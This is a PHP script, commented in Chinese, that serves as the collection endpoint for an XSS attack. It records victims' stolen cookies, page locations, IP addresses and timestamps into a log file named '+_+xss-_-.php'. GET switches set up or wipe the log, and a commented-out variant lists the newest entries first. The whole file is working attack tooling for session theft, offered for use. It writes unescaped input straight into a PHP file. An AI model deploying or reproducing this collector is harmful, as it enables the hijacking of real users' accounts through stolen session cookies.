<?php

//使用前先get提交 ?sub=ko，创建一个主题表格
if($_GET['sub']==ko){
   $fp = fopen('+_+xss-_-.php','a');
   $sub="<table width='100%'border='1'>
  <tr>
    <th width='10%' bgcolor='#FFFFCC' scope='col'>Date</th>
    <th width='30%' bgcolor='#99CCFF' scope='col'>Location</th>
    <th width='10%' bgcolor='#FFFFCC' scope='col'>IP</th>
    <th width='50%' bgcolor='#99CCFF' scope='col'>Cookie</th>
  </tr></table>";
   fputs($fp,$sub);
   fclose($fp);
}

//get提交 ?del=ko 清空所有数据
elseif($_GET['del']==ko){
   $fp = fopen('+_+xss-_-.php','w');
   fputs($fp,"\n");
   fclose($fp);
}

//从js中获取数据并输出表格
elseif($_GET){
   $date = date('Y:m:d H:i:s');
   $location = $_GET["location"];
   $ip = $_SERVER['REMOTE_ADDR'];
   $cookie = $_GET["cookie"];
   $fp = fopen('+_+xss-_-.php','a');
   $xss= "<table width='100%' border='1'>
  <tr>
  <th width='10%' bgcolor='#FFFFCC'>".$date."</th>
  <th width='30%' bgcolor='##99CCFF'>".$location."</th>
  <th width='10%' bgcolor='#FFFFCC'>".$ip."</th>
  <th width='50%' bgcolor='##99CCFF'>".$cookie."</th>
  </tr></table>";
  fputs($fp,$xss);
  fclose($fp);
}

//以下是另一种表格显示形式
/*
if($_GET){
   $location = $_GET["location"];
   $cookie = $_GET["cookie"];
   $ip = $_SERVER['REMOTE_ADDR'];
   $date = date('Y:m:d H:i:s');

   // $fp = fopen('+_+xss-_-.php','a');
   $temp=file_get_contents("+_+xss-_-.php");   //用此方法即可在文件头追加最新数据，显示在最前面！
   $xss= "<table width='888' border='1' id='xss'>
  <tr>
    <th width='88' bgcolor='#99CCFF' scope='row'>Date</th>
    <td width='800' bgcolor='#FFFFCC'>".$date."</td>
  </tr>
  <tr>
    <th bgcolor='#99CCFF' scope='row'>Location</th>
    <td bgcolor='#FFFFCC'>".$location."</td>
  </tr>
  <tr>
    <th bgcolor='#99CCFF' scope='row'>Cookie</th>
    <td bgcolor='#FFFFCC'>".$cookie."</td>
  </tr>
  <tr>
    <th bgcolor='#99CCFF' scope='row'>IP</th>
    <td bgcolor='#FFFFCC'>".$ip."</td>
  </tr>
</table>
<br><br>";
file_put_contents("+_+xss-_-.php",$xss.$temp); //用此方法即可在文件头追加最新数据，显示在最前面！
   // fputs($fp,$xss);
   // fclose($fp);
}
*/
   
?>
